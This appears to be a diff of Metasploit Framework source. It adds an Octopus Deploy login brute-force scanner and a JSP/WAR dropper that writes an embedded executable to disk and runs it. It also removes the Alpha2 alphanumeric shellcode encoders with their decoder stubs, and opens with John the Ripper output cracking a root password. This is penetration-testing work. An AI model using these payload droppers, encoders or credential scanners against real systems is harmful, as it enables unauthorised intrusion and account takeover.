Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
|
||||
Use the "--format=crypt" option to force loading these as that type instead
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
test (test)
|
||||
test (root)
|
||||
2g 0:00:00:00 DONE 1/3 (2016-09-14 00:32) 40.00g/s 460.0p/s 480.0c/s 480.0C/s test..oo
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
|
||||
```
|
|
@ -0,0 +1,64 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Octopus Deploy login scanner
|
||||
class OctopusDeploy < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
uri = '/api/users/login' if uri.nil?
|
||||
method = 'POST' if method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
if ssl
|
||||
result_opts[:service_name] = 'https'
|
||||
else
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
json_post_data = JSON.pretty_generate({ Username: credential.public, Password: credential.private })
|
||||
cli = Rex::Proto::Http::Client.new(host, port, { 'Msf' => framework, 'MsfExploit' => framework_module }, ssl, ssl_version, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => 'application/json',
|
||||
'data' => json_post_data
|
||||
)
|
||||
res = cli.send_recv(req)
|
||||
body = JSON.parse(res.body)
|
||||
if res && res.code == 200 && body.key?('IsActive') && body['IsActive']
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::JSON::ParserError
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -29,10 +29,10 @@ module Metasploit
|
|||
|
||||
|
||||
def set_default
|
||||
self.wordpress_url_xmlrpc = 'xmlrpc.php'
|
||||
self.block_wait = 6
|
||||
self.base_uri = '/'
|
||||
self.chunk_size = 1700
|
||||
@wordpress_url_xmlrpc ||= 'xmlrpc.php'
|
||||
@block_wait ||= 6
|
||||
@base_uri ||= '/'
|
||||
@chunk_size ||= 1700
|
||||
end
|
||||
|
||||
# Returns the XML data that is used for the login.
|
||||
|
@ -110,6 +110,8 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential]
|
||||
# @return [Metasploit::Framework::LoginScanner::Result]
|
||||
def attempt_login(credential)
|
||||
set_default
|
||||
@passwords ||= [credential.private]
|
||||
generate_xml(credential.public).each do |xml|
|
||||
send_wp_request(xml)
|
||||
req_xml = Nokogiri::Slop(xml)
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.24"
|
||||
VERSION = "4.12.27"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -141,6 +141,17 @@ module Msf::Payload::Apk
|
|||
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
||||
end
|
||||
|
||||
unless File.readable?(File.expand_path("~/.android/debug.keystore"))
|
||||
android_dir = File.expand_path("~/.android/")
|
||||
unless File.directory?(android_dir)
|
||||
FileUtils::mkdir_p android_dir
|
||||
end
|
||||
print_status "Creating android debug keystore...\n"
|
||||
run_cmd("keytool -genkey -v -keystore ~/.android/debug.keystore \
|
||||
-alias androiddebugkey -storepass android -keypass android -keyalg RSA \
|
||||
-keysize 2048 -validity 10000 -dname 'CN=Android Debug,O=Android,C=US'")
|
||||
end
|
||||
|
||||
#Create temporary directory where work will be done
|
||||
tempdir = Dir.mktmpdir
|
||||
|
||||
|
|
|
@ -1407,6 +1407,40 @@ require 'msf/core/exe/segment_appender'
|
|||
read_replace_script_template("to_powershell.hta.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_jsp(exe)
|
||||
hash_sub = {}
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
payload_hex = exe.unpack('H*')[0]
|
||||
hash_sub[:payload] = payload_hex
|
||||
|
||||
read_replace_script_template("to_exe.jsp.template", hash_sub)
|
||||
end
|
||||
|
||||
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
|
||||
# payload. The jsp page converts the hexdump back to a normal binary file
|
||||
# and places it in the temp directory. The payload file is then executed.
|
||||
#
|
||||
# @see to_war
|
||||
# @param exe [String] Executable to drop and run.
|
||||
# @param opts (see to_war)
|
||||
# @option opts (see to_war)
|
||||
# @return (see to_war)
|
||||
def self.to_jsp_war(exe, opts = {})
|
||||
template = self.to_jsp(exe)
|
||||
self.to_war(template, opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts = {})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
@ -1500,52 +1534,6 @@ require 'msf/core/exe/segment_appender'
|
|||
zip.pack
|
||||
end
|
||||
|
||||
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
|
||||
# payload. The jsp page converts the hexdump back to a normal binary file
|
||||
# and places it in the temp directory. The payload file is then executed.
|
||||
#
|
||||
# @see to_war
|
||||
# @param exe [String] Executable to drop and run.
|
||||
# @param opts (see to_war)
|
||||
# @option opts (see to_war)
|
||||
# @return (see to_war)
|
||||
def self.to_jsp_war(exe, opts = {})
|
||||
# begin <payload>.jsp
|
||||
hash_sub = {}
|
||||
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
# Specify the payload in hex as an extra file..
|
||||
payload_hex = exe.unpack('H*')[0]
|
||||
opts.merge!(
|
||||
{
|
||||
:extra_files =>
|
||||
[
|
||||
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
|
||||
]
|
||||
})
|
||||
|
||||
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
|
||||
|
||||
self.to_war(template, opts)
|
||||
end
|
||||
|
||||
# Creates a .NET DLL which loads data into memory
|
||||
# at a specified location with read/execute permissions
|
||||
# - the data will be loaded at: base+0x2065
|
||||
|
@ -2221,6 +2209,12 @@ require 'msf/core/exe/segment_appender'
|
|||
when 'loop-vbs'
|
||||
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
|
||||
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
|
||||
when 'jsp'
|
||||
arch ||= [ ARCH_X86 ]
|
||||
tmp_plat = plat.platforms if plat
|
||||
tmp_plat ||= Msf::Module::PlatformList.transform('win')
|
||||
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
|
||||
Msf::Util::EXE.to_jsp(exe)
|
||||
when 'war'
|
||||
arch ||= [ ARCH_X86 ]
|
||||
tmp_plat = plat.platforms if plat
|
||||
|
@ -2258,6 +2252,7 @@ require 'msf/core/exe/segment_appender'
|
|||
"exe-small",
|
||||
"hta-psh",
|
||||
"jar",
|
||||
"jsp",
|
||||
"loop-vbs",
|
||||
"macho",
|
||||
"msi",
|
||||
|
|
12
lib/rex.rb
12
lib/rex.rb
|
@ -41,6 +41,7 @@ end
|
|||
#
|
||||
# REX Gems
|
||||
#
|
||||
|
||||
# Text manipulation library for things like generating random string
|
||||
require 'rex/text'
|
||||
# Library for Generating Randomized strings valid as Identifiers such as variable names
|
||||
|
@ -59,12 +60,15 @@ require 'rex/struct2'
|
|||
require 'rex/ole'
|
||||
# Library for creating and/or parsing MIME messages
|
||||
require 'rex/mime'
|
||||
# Library for polymorphic encoders
|
||||
require 'rex/encoder'
|
||||
# Architecture subsystem
|
||||
require 'rex/arch'
|
||||
|
||||
# Generic classes
|
||||
require 'rex/exceptions'
|
||||
require 'rex/transformer'
|
||||
require 'rex/random_identifier'
|
||||
require 'rex/text'
|
||||
require 'rex/time'
|
||||
require 'rex/job_container'
|
||||
require 'rex/file'
|
||||
|
@ -75,12 +79,6 @@ require 'rex/sync'
|
|||
# Thread factory
|
||||
require 'rex/thread_factory'
|
||||
|
||||
# Encoding
|
||||
require 'rex/encoder/xor'
|
||||
require 'rex/encoding/xor'
|
||||
|
||||
# Architecture subsystem
|
||||
require 'rex/arch'
|
||||
|
||||
# Assembly
|
||||
require 'rex/assembly/nasm'
|
||||
|
|
|
@ -1,31 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# ________________________________________________________________________________
|
||||
#
|
||||
# ,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance. (build 07)
|
||||
# SS" Y$P" SY" ,SY
|
||||
# iS' dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding.
|
||||
# YS, dSb ,sY" Copyright (C) 2003, 2004 by Berend-Jan Wever.
|
||||
# `"YSS'"S' 'SSSSSSSP <skylined@edup.tudelft.nl>
|
||||
# ________________________________________________________________________________
|
||||
#
|
||||
|
||||
#
|
||||
# make sure the namespace is created
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
||||
end end end
|
||||
|
||||
#
|
||||
# include the Alpha2 encodings
|
||||
#
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
require 'rex/encoder/alpha2/alpha_mixed'
|
||||
require 'rex/encoder/alpha2/alpha_upper'
|
||||
require 'rex/encoder/alpha2/unicode_mixed'
|
||||
require 'rex/encoder/alpha2/unicode_upper'
|
|
@ -1,129 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
||||
|
||||
class AlphaMixed < Generic
|
||||
|
||||
# Generates the decoder stub prefix
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha mixed decoder stub prefix
|
||||
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||
if offset > 32
|
||||
raise 'Critical: Offset is greater than 32'
|
||||
end
|
||||
|
||||
mod_registers = []
|
||||
nop_regs = []
|
||||
mod_regs = []
|
||||
edx_regs = []
|
||||
|
||||
# use inc ebx as a nop here so we still pad correctly
|
||||
if offset <= 16
|
||||
nop = 'C' * offset
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'J' * (17 - offset)
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
else
|
||||
mod = 'A' * (offset - 16)
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||
|
||||
nop = 'C' * (16 - mod.length)
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod << nop + '7QZ'
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'B' * (17 - (offset - 16))
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
end
|
||||
|
||||
regprefix = {
|
||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||
'ECX' => 'I' + mod, # dec ecx
|
||||
'EDX' => edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx
|
||||
'EBX' => 'SY' + mod, # push ebx, pop ecx
|
||||
'ESP' => 'TY' + mod, # push esp, pop ecx
|
||||
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
||||
'ESI' => 'VY' + mod, # push esi, pop ecx
|
||||
'EDI' => 'WY' + mod, # push edi, pop ecx
|
||||
}
|
||||
|
||||
reg.upcase!
|
||||
|
||||
unless regprefix.keys.include?(reg)
|
||||
raise ArgumentError.new('Invalid register name')
|
||||
end
|
||||
|
||||
case reg
|
||||
when 'EDX'
|
||||
mod_registers.concat(edx_regs)
|
||||
mod_registers.concat(nop_regs)
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
else
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
mod_registers.concat(mod_regs)
|
||||
end
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return regprefix[reg]
|
||||
end
|
||||
|
||||
# Generates the decoder stub
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha mixed decoder stub
|
||||
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||
mod_registers = []
|
||||
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||
"jA" + # push 0x41
|
||||
"X" + # pop eax
|
||||
"P" + # push eax
|
||||
"0A0" + # xor byte [ecx+30], al
|
||||
"A" + # inc ecx <---
|
||||
"kAAQ" + # imul eax, [ecx+42], 51 -> 10 |
|
||||
"2AB" + # xor al, [ecx + 42] |
|
||||
"2BB" + # xor al, [edx + 42] |
|
||||
"0BB" + # xor [edx + 42], al |
|
||||
"A" + # inc ecx |
|
||||
"B" + # inc edx |
|
||||
"X" + # pop eax |
|
||||
"P" + # push eax |
|
||||
"8AB" + # cmp [ecx + 42], al |
|
||||
"uJ" + # jnz short -------------------------
|
||||
"I" # first encoded char, fixes the above J
|
||||
|
||||
mod_registers.concat(
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EAX,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EDX
|
||||
])
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
decoder
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -1,138 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
||||
|
||||
class AlphaUpper < Generic
|
||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
# Generates the decoder stub prefix
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha upper decoder stub prefix
|
||||
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||
if offset > 20
|
||||
raise 'Critical: Offset is greater than 20'
|
||||
end
|
||||
|
||||
mod_registers = []
|
||||
nop_regs = []
|
||||
mod_regs = []
|
||||
edx_regs = []
|
||||
|
||||
# use inc ebx as a nop here so we still pad correctly
|
||||
if (offset <= 10)
|
||||
nop = 'C' * offset
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'J' * (11 - offset)
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
else
|
||||
mod = 'A' * (offset - 10)
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||
|
||||
nop = 'C' * (10 - mod.length)
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod << nop + 'QZ'
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'B' * (11 - (offset - 10))
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
end
|
||||
regprefix = {
|
||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||
'ECX' => 'I' + mod, # dec ecx
|
||||
'EDX' => edxmod + nop + 'RY', # mod edx,,, push edx, pop ecx
|
||||
'EBX' => 'SY' + mod, # push ebx, pop ecx
|
||||
'ESP' => 'TY' + mod, # push esp, pop ecx
|
||||
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
||||
'ESI' => 'VY' + mod, # push esi, pop ecx
|
||||
'EDI' => 'WY' + mod, # push edi, pop ecx
|
||||
}
|
||||
|
||||
reg.upcase!
|
||||
unless regprefix.keys.include?(reg)
|
||||
raise ArgumentError.new("Invalid register name")
|
||||
end
|
||||
|
||||
case reg
|
||||
when 'EDX'
|
||||
mod_registers.concat(edx_regs)
|
||||
mod_registers.concat(nop_regs)
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
else
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
mod_registers.concat(mod_regs)
|
||||
end
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return regprefix[reg]
|
||||
end
|
||||
|
||||
# Generates the decoder stub
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha upper decoder stub
|
||||
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||
mod_registers = []
|
||||
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||
"V" + # push esi
|
||||
"T" + # push esp
|
||||
"X" + # pop eax
|
||||
"30" + # xor esi, [eax]
|
||||
"V" + # push esi
|
||||
"X" + # pop eax
|
||||
"4A" + # xor al, 41
|
||||
"P" + # push eax
|
||||
"0A3" + # xor [ecx+33], al
|
||||
"H" + # dec eax
|
||||
"H" + # dec eax
|
||||
"0A0" + # xor [ecx+30], al
|
||||
"0AB" + # xor [ecx+42], al
|
||||
"A" + # inc ecx <---------------
|
||||
"A" + # inc ecx |
|
||||
"B" + # inc edx |
|
||||
"TAAQ" + # imul eax, [ecx+41], 10 * |
|
||||
"2AB" + # xor al [ecx+42] |
|
||||
"2BB" + # xor al, [edx+42] |
|
||||
"0BB" + # xor [edx+42], al |
|
||||
"X" + # pop eax |
|
||||
"P" + # push eax |
|
||||
"8AC" + # cmp [ecx+43], al |
|
||||
"JJ" + # jnz * --------------------
|
||||
"I" # first encoded char, fixes the above J
|
||||
|
||||
mod_registers.concat(
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EAX,
|
||||
Rex::Arch::X86::ESI,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EDX
|
||||
])
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return decoder
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -1,90 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
||||
|
||||
class Generic
|
||||
|
||||
# Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator
|
||||
def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def Generic.gen_decoder_prefix(reg, offset)
|
||||
# Should never happen - have to pick a specifc
|
||||
# encoding:
|
||||
# alphamixed, alphaupper, unicodemixed, unicodeupper
|
||||
''
|
||||
end
|
||||
|
||||
def Generic.gen_decoder(reg, offset)
|
||||
# same as above
|
||||
return ''
|
||||
end
|
||||
|
||||
def Generic.gen_second(block, base)
|
||||
# XOR encoder for ascii - unicode uses additive
|
||||
(block^base)
|
||||
end
|
||||
|
||||
def Generic.encode_byte(block, badchars)
|
||||
accepted_chars = default_accepted_chars.dup
|
||||
|
||||
badchars.each_char {|c| accepted_chars.delete(c) } if badchars
|
||||
|
||||
# No, not nipple.
|
||||
nibble_chars = Array.new(0x10) {[]}
|
||||
accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) }
|
||||
|
||||
poss_encodings = []
|
||||
|
||||
block_low_nibble = block & 0x0F
|
||||
block_high_nibble = block >> 4
|
||||
|
||||
# Get list of chars suitable for expressing lower part of byte
|
||||
first_chars = nibble_chars[block_low_nibble]
|
||||
|
||||
# Build a list of possible encodings
|
||||
first_chars.each do |first_char|
|
||||
first_high_nibble = first_char.unpack('C')[0] >> 4
|
||||
|
||||
# In the decoding process, the low nibble of the second char gets combined
|
||||
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
|
||||
# and we want the high nibble of our input byte to result
|
||||
second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F
|
||||
|
||||
# Find valid second chars for this first char and add each combination to our possible encodings
|
||||
second_chars = nibble_chars[second_low_nibble]
|
||||
second_chars.each {|second_char| poss_encodings.push(second_char + first_char) }
|
||||
end
|
||||
|
||||
if poss_encodings.empty?
|
||||
raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set"
|
||||
end
|
||||
|
||||
# Return a random encoding
|
||||
poss_encodings[rand(poss_encodings.length)]
|
||||
end
|
||||
|
||||
def Generic.encode(buf, reg, offset, badchars = '')
|
||||
encoded = gen_decoder(reg, offset)
|
||||
|
||||
buf.each_byte {
|
||||
|block|
|
||||
|
||||
encoded << encode_byte(block, badchars)
|
||||
}
|
||||
|
||||
encoded << add_terminator()
|
||||
|
||||
return encoded
|
||||
end
|
||||
|
||||
# 'A' signifies the end of the encoded shellcode
|
||||
def Generic.add_terminator()
|
||||
'AA'
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
|
@ -1,116 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
||||
|
||||
class UnicodeMixed < Generic
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 21)
|
||||
raise "Critical: Offset is greater than 21"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
if (offset <= 14)
|
||||
nop = 'CP' * offset
|
||||
mod = 'IA' * (14 - offset) + nop # dec ecx,,, push ecx, pop edx
|
||||
else
|
||||
mod = 'AA' * (offset - 14) # inc ecx
|
||||
nop = 'CP' * (14 - mod.length)
|
||||
mod += nop
|
||||
end
|
||||
regprefix = { # nops ignored below
|
||||
'EAX' => 'PPYA' + mod, # push eax, pop ecx
|
||||
'ECX' => mod + "4444", # dec ecx
|
||||
'EDX' => 'RRYA' + mod, # push edx, pop ecx
|
||||
'EBX' => 'SSYA' + mod, # push ebx, pop ecx
|
||||
'ESP' => 'TUYA' + mod, # push esp, pop ecx
|
||||
'EBP' => 'UUYA' + mod, # push ebp, pop ecx
|
||||
'ESI' => 'VVYA' + mod, # push esi, pop ecx
|
||||
'EDI' => 'WWYA' + mod, # push edi, pop edi
|
||||
}
|
||||
|
||||
prefix = regprefix[reg.upcase]
|
||||
if prefix.nil?
|
||||
raise "Critical: Invalid register"
|
||||
end
|
||||
|
||||
return prefix
|
||||
end
|
||||
|
||||
def self.gen_decoder(reg, offset)
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset) +
|
||||
"j" + # push 0
|
||||
"XA" + # pop eax, NOP
|
||||
"QA" + # push ecx, NOP
|
||||
"DA" + # inc esp, NOP
|
||||
"ZA" + # pop edx, NOP
|
||||
"BA" + # inc edx, NOP
|
||||
"RA" + # push edx, NOP
|
||||
"LA" + # dec esp, NOP
|
||||
"YA" + # pop ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"QA" + # push ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"QA" + # push ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"hAAA" + # push 00410041, NOP
|
||||
"Z" + # pop edx
|
||||
"1A" + # add [ecx], dh NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"J" + # dec edx
|
||||
"1" + # add [ecx], dh
|
||||
"1A" + # add [ecx], dh NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"BA" + # inc edx, NOP
|
||||
"BA" + # inc edx, NOP
|
||||
"B" + # inc edx
|
||||
"Q" + # add [ecx], dl
|
||||
"I" + # dec ecx
|
||||
"1A" + # add [ecx], dh NOP
|
||||
"I" + # dec ecx
|
||||
"Q" + # add [ecx], dl
|
||||
"IA" + # dec ecx, NOP
|
||||
"I" + # dec ecx
|
||||
"Q" + # add [ecx], dh
|
||||
"I" + # dec ecx
|
||||
"1" + # add [ecx], dh
|
||||
"1" + # add [ecx], dh
|
||||
"1A" + # add [ecx], dh NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"J" + # dec edx
|
||||
"Q" + # add [ecx], dl
|
||||
"YA" + # pop ecx, NOP
|
||||
"Z" + # pop edx
|
||||
"B" + # add [edx], al
|
||||
"A" + # inc ecx <-------
|
||||
"B" + # add [edx], al |
|
||||
"A" + # inc ecx |
|
||||
"B" + # add [edx], al |
|
||||
"A" + # inc ecx |
|
||||
"B" + # add [edx], al |
|
||||
"A" + # inc ecx |
|
||||
"B" + # add [edx], al |
|
||||
"kM" + # imul eax, [eax], 10 * |
|
||||
"A" + # add [edx], al |
|
||||
"G" + # inc edi |
|
||||
"B" + # add [edx], al |
|
||||
"9" + # cmp [eax], eax |
|
||||
"u" + # jnz ------------------
|
||||
"4JB"
|
||||
|
||||
return decoder
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -1,123 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module Alpha2
|
